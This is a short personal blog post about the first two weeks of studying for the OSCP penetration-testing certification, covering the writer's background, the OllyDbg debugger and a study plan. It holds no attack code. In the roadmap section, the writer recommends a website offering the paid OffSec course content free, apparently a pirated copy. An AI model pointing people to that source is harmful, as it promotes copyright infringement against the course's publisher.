
OSCP: Exploring the Upside Down

It’s been 14th day since I started to study for Offensive Security Certified Professional (OSCP) certification. People say that OSCP is not for beginners, yeah, I say the same too. The path to OSCP is like an upside down and you are a lone explorer in the world full of unexplored areas.

Stranger Things 2: The Season's Visual Effects, Explained
Stranger Things: Upside Down

When I say unexplored, it is like a parallel world that exists on our world. What I mean to this, is you just don’t randomly discuss Privilege Escalation or Reverse Shell exploitation with your wife or with your non-IT friends. They’ll just tell your screws must be loosen.

Luckily, over my past few experiences, I already got some small head start for my journey. I already got CCNA for networking, and some low level programming (ASM) (thanks to https://www.unknowncheats.me/forum/index.php). I still have a lot of work to do as this is only just a small head start and not the full context.

I can describe my head start as Information scattered all over and just waiting them to be connected to become Knowledge.

Show Information; Not Data | Data, Try your best, Infographic
Data to something else

Now, if you are truly zero knowledge with OSCP topics. I don’t recommend taking it unless you are really determined and fully committed to it. It is really really really frustrating especially when seeing ridiculously mind blowing numbers and alphabets popping-off your screen.

OllyDbg 64
OllyDBG

The above screenshot is a windows debugger used to debug applications. It is usually used as stack analyzer for buffer overflow exploitation. But that’s not all, it can do a really lot of things. Quite overwhelming right? But hey, just like I said, with proper planning, we can achieve OSCP too.

My Roadmap

My roadmap is simple. I first gathered some materials to watch/review/memorize and try. Luckily, I found a website that offers exact content from OffSec: https://pwk.hide01.ir, yup, FREE! without paying. Now, as advised by a lot of people who took OSCP too, you might wanna try subscribing to HackTheBox VIP (15$) & Offsec Proving Grounds (20$) subscription first after/during studying for hands-on experience.

Next thing, when I feel I am confident with the tools and get to pawned a lot of machines, I will now start to subscribe to PEN-200. I just did get a local copy of exact course content first so I can study what I will face during the course proper. Also, I don’t want to start my lab subscription when I don’t even know what’s inside the course. In short, I just did some fail safe option than losing a lot of money for subscription if I didn’t finish the course on-time.

In the end, you are still forced to subscribe to PEN-200 subscription because they don’t offer an Exam Only option.

I know my journey is still long. I will constantly make writeups here in my blog during my journey towards OSCP.

Thanks for reading! More updates soon! ?